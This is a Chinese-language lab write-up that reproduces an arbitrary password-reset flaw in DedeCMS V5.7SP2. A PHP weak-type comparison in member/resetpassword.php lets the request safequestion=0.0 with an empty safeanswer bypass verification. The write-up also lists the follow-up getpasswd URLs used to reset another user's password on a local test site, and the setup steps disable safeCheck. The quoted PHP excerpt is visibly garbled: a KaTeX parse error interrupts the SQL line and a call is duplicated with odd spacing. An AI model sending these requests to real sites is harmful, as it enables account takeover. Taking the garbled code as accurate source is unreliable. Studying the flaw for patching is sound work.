一、漏洞概述
1 简介
织梦内容管理系统(DedeCms) [1] 以简单、实用、开源而闻名,是国内最知名的 PHP 开源网站管理系统,也是使用用户最多的 PHP 类 CMS 系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms 免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。
2 漏洞限制
1、 只影响前台账户
2、 只能修改未设置安全问题的账户
3 影响版本
DeDeCMSV5.7SP2 正式版(2018-01-09)
二、环境搭建
1下载DeDeCMSV5.7SP2 正式版(2018-01-09)的源码
该版本环境为php5.6+mysql
2利用phpstudy搭建网站并安装dedecms
将源码内容复制,并在phpstudy的网站根目录下创建新文件夹dedecms,将源码内容复制进去:
点击创建网站,域名为127.0.0.1,端口除了80随意设置,按照以下进行设置:
确认并重启网络服务,网站就搭建好了,下面打开网站进入dedecms安装界面:
点击继续
数据库密码是在phpstudy里的数据库密码,一般是root,管理员就按照默认设置账户和密码:
这时点击继续会出现以下界面,应该是一些安全配置没有设置好
打开源码目录下D:\phpstudy_pro\WWW\dedecms\include,找到dedesql.class.php和dedesqli.class.php两个php文件,用notepad++打开,然后ctrl+F寻找safeCheck,把TURE改为FALSE,关闭安全检查
保存之后,刷新界面安装完成,环境搭建完毕
三、漏洞复现
1.漏洞原因及触发位置
由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格,遭受弱类型比较攻击
导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击
漏洞触发位置:dedecms/member/resetpassword.php(75行)
else if($dopost == “safequestion”)
{
$mid = preg_replace("#[^0-9]#", “”, $id);
KaTeX parse error: Expected 'EOF', got '#' at position 57: …rid,email FROM #̲@__member WHERE…mid’";
$row = d b − > G e t O n e ( db->GetOne( db−>GetOne(sql);
if(empty($safequestion)) $safequestion = ‘’;
if(empty($safeanswer)) $safeanswer = ‘’;
if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer){
sn($mid, $row[‘userid’], $row[‘email’], ‘N’);
exit();
}
else
{
ShowMsg(“对不起,您的安全问题或答案回答错误”,"-1");
exit();
}
}
就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数
if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer){
sn($mid, $row[‘userid’], $row[‘email’], ‘N’);
exit();
}
2.复现过程
打开会员功能,并创建一个测试账号test:
test 初始密码1234,不要设置安全问题,这个漏洞的基础就是没有安全问题
管理后台查询test的uid为2,为接下来的复现做准备
打开burp进行抓包,在网站URL上输入请求:
http://127.0.0.1:9090/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2
burp抓包发现临时验证码
http://127.0.0.1:9090/member/resetpassword.php?dopost=getpasswd&id=2&key=ZHEZGwSd
Key= ZHEZGwSd为临时验证码,记住这个验证码
然后在URL输入:
http://127.0.0.1:9090/member/resetpassword.php?dopost=getpasswd&id=2
burp放包 跳转进入修改密码界面
输入刚才抓包获得验证码,修改test用户的新密码为1234567
修改成功
尝试用新密码登录
成功登录
漏洞复现完毕